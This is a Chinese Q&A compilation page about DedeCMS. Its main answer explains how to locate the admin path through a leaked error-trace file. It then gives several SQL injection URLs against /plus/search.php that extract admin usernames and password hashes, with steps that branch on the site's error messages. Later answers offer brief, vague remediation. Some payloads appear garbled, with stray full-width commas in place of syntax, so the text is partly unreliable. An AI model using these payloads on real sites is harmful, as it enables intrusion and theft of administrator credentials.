关于织梦dedecms爆路径的信息

当前目录列表：

1、DedeCMS 的后台怎么爆啊，能告诉我详细一点吗

2、使用DedeCMS系统出现了路径问题，是空间问题还是系统原因？

3、网站出现DedeCMS反馈页面SQL注入漏洞，页面异常导致本地路径泄漏怎样解决？

DedeCMS 的后台怎么爆啊，能告诉我详细一点吗

如果你想找DEDECMS后台路径的话

访问/data/mysql_error_trace.inc 这个文件里有,如果幸运的话 你会看到的。

如果是爆管理账号密码，那么你可以试试以下方式。

/plus/search.php?keyword=11typeArr[`@'`and，SELECT%201%20FROM(select%20count(*,concat，floor(rand(0*2),，SELECT/*'*/concat(0x5f,userid,0x5f,pwd,0x5f%20from%20`%23@__admin`%20Limit%200,1))a%20from%20information_schema.tables%20group%20by%20a)b)]=1

/plus/search.php?keyword=astypeArr%5B111%3D@%60%5C'%60)+and+，SELECT+1+FROM+(select+count(*,concat，floor(rand(0*2),，substring((select+CONCAT(0x7c,userid,0x7c,pwd+from+%60%23@__admin%60+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@%60%5C'%60+%5D=a

Safe Alert: Request Error step 2 !

那么直接用下面的exp

/plus/search.php?keyword=astypeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

看结果如果提示

Safe Alert: Request Error step 1 !

那么直接用下面的exp

/plus/search.php?keyword=astypeArr[111%3D@`\'`)+and+，SELECT+1+FROM+(select+count(*,concat，floor(rand(0*2),，substring((select+CONCAT(0x7c,userid,0x7c,pwd+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

使用DedeCMS系统出现了路径问题，是空间问题还是系统原因？

那你手动修改一下留言板的指向就可以了。网站在上传时最好已经有可以使用的域名，有的空间商会默认使用它的三级域名来绑定你的网站。

网站出现DedeCMS反馈页面SQL注入漏洞，页面异常导致本地路径泄漏怎样解决？

改下 路径 只要是关于保密的 全部改了 然后更新下补丁 不行了重新安装 然后恢复 数据就好了